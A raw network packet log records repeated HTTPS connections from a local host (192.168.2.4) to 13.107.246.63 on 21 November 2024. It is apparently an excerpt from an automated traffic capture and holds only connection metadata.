Nov 21, 2024 22:34:21.020733118 CET	443	49807	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.020807028 CET	443	49807	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.023679018 CET	49812	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.023745060 CET	443	49812	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.023822069 CET	49812	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.023940086 CET	49812	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.023958921 CET	443	49812	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.121169090 CET	443	49808	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.121217966 CET	443	49808	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.121272087 CET	49808	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.121445894 CET	49808	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.121464014 CET	443	49808	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.121475935 CET	49808	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.121481895 CET	443	49808	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.123766899 CET	49813	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.123804092 CET	443	49813	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.123900890 CET	49813	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.124041080 CET	49813	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.124057055 CET	443	49813	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.145663023 CET	443	49809	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.145822048 CET	443	49809	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.145911932 CET	49809	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.168404102 CET	49809	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.168459892 CET	443	49809	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.168495893 CET	49809	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.168519974 CET	443	49809	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.171122074 CET	49814	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.171205997 CET	443	49814	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.171300888 CET	49814	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.171446085 CET	49814	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.171471119 CET	443	49814	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.288516045 CET	443	49810	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.288563013 CET	443	49810	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.288640022 CET	49810	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.288861990 CET	49810	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.288870096 CET	443	49810	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.288882017 CET	49810	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.288887024 CET	443	49810	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.291426897 CET	49815	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.291455984 CET	443	49815	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.291553020 CET	49815	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.291675091 CET	49815	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.291690111 CET	443	49815	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.569601059 CET	443	49811	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.570163012 CET	49811	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.570203066 CET	443	49811	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:21.570672989 CET	49811	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:21.570689917 CET	443	49811	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:22.020551920 CET	443	49811	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:22.020699978 CET	443	49811	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:22.020785093 CET	49811	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:22.020912886 CET	49811	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:22.020941973 CET	443	49811	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:22.020978928 CET	49811	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:22.020992994 CET	443	49811	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:22.024353027 CET	49816	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:22.024400949 CET	443	49816	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:22.024467945 CET	49816	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:22.024688005 CET	49816	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:22.024705887 CET	443	49816	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:22.769640923 CET	443	49812	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:22.772167921 CET	49812	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:22.772217035 CET	443	49812	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:22.772679090 CET	49812	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:22.772696018 CET	443	49812	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:22.918929100 CET	443	49813	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:22.922231913 CET	49813	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:22.922246933 CET	443	49813	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:22.922990084 CET	49813	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:22.922995090 CET	443	49813	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:22.970319033 CET	443	49814	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:22.972280979 CET	49814	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:22.972356081 CET	443	49814	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:22.972858906 CET	49814	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:22.972875118 CET	443	49814	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.185425997 CET	443	49815	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.186151981 CET	49815	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.186167002 CET	443	49815	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.186829090 CET	49815	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.186832905 CET	443	49815	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.205760956 CET	443	49812	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.205925941 CET	443	49812	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.206032991 CET	49812	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.206214905 CET	49812	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.206245899 CET	443	49812	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.206264973 CET	49812	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.206273079 CET	443	49812	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.208906889 CET	49817	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.208933115 CET	443	49817	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.209022999 CET	49817	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.209155083 CET	49817	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.209165096 CET	443	49817	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.378293037 CET	443	49813	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.378334999 CET	443	49813	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.378587961 CET	49813	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.378624916 CET	49813	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.378634930 CET	443	49813	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.378645897 CET	49813	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.378650904 CET	443	49813	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.382507086 CET	49818	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.382548094 CET	443	49818	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.382625103 CET	49818	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.382793903 CET	49818	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.382813931 CET	443	49818	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.413249969 CET	443	49814	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.413321972 CET	443	49814	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.413460970 CET	49814	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.413501978 CET	49814	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.413501978 CET	49814	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.413521051 CET	443	49814	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.413537025 CET	443	49814	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.416002989 CET	49819	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.416027069 CET	443	49819	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.416250944 CET	49819	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.416250944 CET	49819	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.416274071 CET	443	49819	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.896584034 CET	443	49816	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.897173882 CET	49816	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.897201061 CET	443	49816	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:23.897846937 CET	49816	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:23.897854090 CET	443	49816	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:24.120528936 CET	443	49815	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:24.120675087 CET	443	49815	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:24.120796919 CET	49815	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:24.121187925 CET	49815	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:24.121207952 CET	443	49815	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:24.121232986 CET	49815	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:24.121238947 CET	443	49815	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:24.125169992 CET	49820	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:24.125215054 CET	443	49820	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:24.125305891 CET	49820	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:24.125530958 CET	49820	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:24.125550985 CET	443	49820	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:24.353441000 CET	443	49816	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:24.353610992 CET	443	49816	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:24.353686094 CET	49816	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:24.353849888 CET	49816	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:24.353880882 CET	443	49816	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:24.353898048 CET	49816	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:24.353905916 CET	443	49816	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:24.357609987 CET	49821	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:24.357686996 CET	443	49821	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:24.357868910 CET	49821	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:24.358072042 CET	49821	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:24.358107090 CET	443	49821	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.024218082 CET	443	49817	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.025168896 CET	49817	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.025185108 CET	443	49817	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.025662899 CET	49817	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.025666952 CET	443	49817	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.130574942 CET	443	49818	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.131041050 CET	49818	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.131067038 CET	443	49818	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.131633997 CET	49818	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.131639957 CET	443	49818	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.223547935 CET	443	49819	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.224061966 CET	49819	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.224082947 CET	443	49819	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.224606037 CET	49819	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.224611998 CET	443	49819	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.470437050 CET	443	49817	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.470590115 CET	443	49817	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.470673084 CET	49817	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.470892906 CET	49817	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.470902920 CET	443	49817	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.470912933 CET	49817	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.470916986 CET	443	49817	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.474802971 CET	49822	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.474855900 CET	443	49822	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.474972010 CET	49822	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.475191116 CET	49822	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.475212097 CET	443	49822	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.574486017 CET	443	49818	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.574531078 CET	443	49818	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.574609041 CET	49818	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.574886084 CET	49818	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.574908018 CET	443	49818	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.574919939 CET	49818	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.574924946 CET	443	49818	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.578674078 CET	49823	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.578727007 CET	443	49823	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.578838110 CET	49823	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.579174995 CET	49823	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.579205036 CET	443	49823	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.679356098 CET	443	49819	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.679510117 CET	443	49819	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.679573059 CET	49819	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.679742098 CET	49819	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.679750919 CET	443	49819	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.679783106 CET	49819	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.679786921 CET	443	49819	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.683537960 CET	49824	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.683562040 CET	443	49824	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.683646917 CET	49824	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.683917999 CET	49824	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.683928967 CET	443	49824	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.937336922 CET	443	49820	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.938093901 CET	49820	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.938131094 CET	443	49820	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:25.938867092 CET	49820	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:25.938874960 CET	443	49820	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:26.083906889 CET	443	49821	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:26.084631920 CET	49821	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:26.084660053 CET	443	49821	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:26.085292101 CET	49821	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:26.085304022 CET	443	49821	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:26.385004044 CET	443	49820	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:26.385071039 CET	443	49820	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:26.385169983 CET	49820	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:26.385466099 CET	49820	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:26.385490894 CET	443	49820	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:26.385504961 CET	49820	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:26.385515928 CET	443	49820	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:26.389202118 CET	49825	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:26.389288902 CET	443	49825	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:26.389411926 CET	49825	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:26.389620066 CET	49825	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:26.389648914 CET	443	49825	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:26.524029970 CET	443	49821	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:26.524175882 CET	443	49821	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:26.524288893 CET	49821	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:26.524410009 CET	49821	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:26.524450064 CET	443	49821	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:26.524481058 CET	49821	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:26.524496078 CET	443	49821	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:26.527586937 CET	49826	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:26.527601957 CET	443	49826	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:26.527687073 CET	49826	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:26.527873039 CET	49826	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:26.527882099 CET	443	49826	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.276006937 CET	443	49822	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.276681900 CET	49822	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:27.276700020 CET	443	49822	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.277168036 CET	49822	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:27.277174950 CET	443	49822	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.382702112 CET	443	49823	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.383347034 CET	49823	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:27.383393049 CET	443	49823	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.383685112 CET	49823	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:27.383698940 CET	443	49823	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.481751919 CET	443	49824	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.482392073 CET	49824	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:27.482408047 CET	443	49824	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.482850075 CET	49824	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:27.482856035 CET	443	49824	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.721837997 CET	443	49822	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.721996069 CET	443	49822	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.722065926 CET	49822	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:27.722242117 CET	49822	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:27.722266912 CET	443	49822	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.722280025 CET	49822	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:27.722286940 CET	443	49822	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.725323915 CET	49827	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:27.725383997 CET	443	49827	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.725482941 CET	49827	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:27.725634098 CET	49827	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:27.725657940 CET	443	49827	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.828174114 CET	443	49823	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.828265905 CET	443	49823	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.828366995 CET	49823	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:27.828591108 CET	49823	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:27.828636885 CET	443	49823	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.828665972 CET	49823	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:27.828681946 CET	443	49823	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.831665993 CET	49828	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:27.831760883 CET	443	49828	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:27.831877947 CET	49828	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:27.832029104 CET	49828	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:27.832067966 CET	443	49828	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.140748024 CET	443	49824	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.140918970 CET	443	49824	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.140995026 CET	49824	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.141269922 CET	49824	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.141283989 CET	443	49824	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.141299009 CET	49824	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.141304970 CET	443	49824	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.144053936 CET	49829	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.144089937 CET	443	49829	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.144179106 CET	49829	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.144310951 CET	49829	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.144321918 CET	443	49829	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.258217096 CET	443	49825	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.258872032 CET	49825	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.258935928 CET	443	49825	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.259366035 CET	49825	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.259382010 CET	443	49825	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.384957075 CET	443	49826	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.385591984 CET	49826	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.385602951 CET	443	49826	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.386223078 CET	49826	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.386229038 CET	443	49826	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.716322899 CET	443	49825	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.716392994 CET	443	49825	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.716469049 CET	49825	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.716707945 CET	49825	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.716754913 CET	443	49825	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.716784000 CET	49825	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.716799974 CET	443	49825	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.719439983 CET	49830	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.719510078 CET	443	49830	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.719650984 CET	49830	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.719973087 CET	49830	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.719994068 CET	443	49830	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.840430021 CET	443	49826	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.840588093 CET	443	49826	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.840665102 CET	49826	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.840835094 CET	49826	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.840854883 CET	443	49826	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.840867996 CET	49826	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.840874910 CET	443	49826	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.844607115 CET	49831	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.844639063 CET	443	49831	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:28.844731092 CET	49831	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.844969034 CET	49831	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:28.844983101 CET	443	49831	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:29.465671062 CET	443	49827	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:29.466653109 CET	49827	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:29.466690063 CET	443	49827	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:29.467185974 CET	49827	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:29.467202902 CET	443	49827	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:29.631089926 CET	443	49828	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:29.631763935 CET	49828	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:29.631807089 CET	443	49828	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:29.632457972 CET	49828	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:29.632464886 CET	443	49828	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:29.903868914 CET	443	49827	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:29.904046059 CET	443	49827	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:29.904242992 CET	49827	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:29.904370070 CET	49827	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:29.904414892 CET	443	49827	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:29.904448032 CET	49827	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:29.904463053 CET	443	49827	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:29.908049107 CET	49832	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:29.908101082 CET	443	49832	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:29.908205986 CET	49832	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:29.908397913 CET	49832	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:29.908413887 CET	443	49832	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:29.936645985 CET	443	49829	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:29.937110901 CET	49829	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:29.937156916 CET	443	49829	13.107.246.63	192.168.2.4
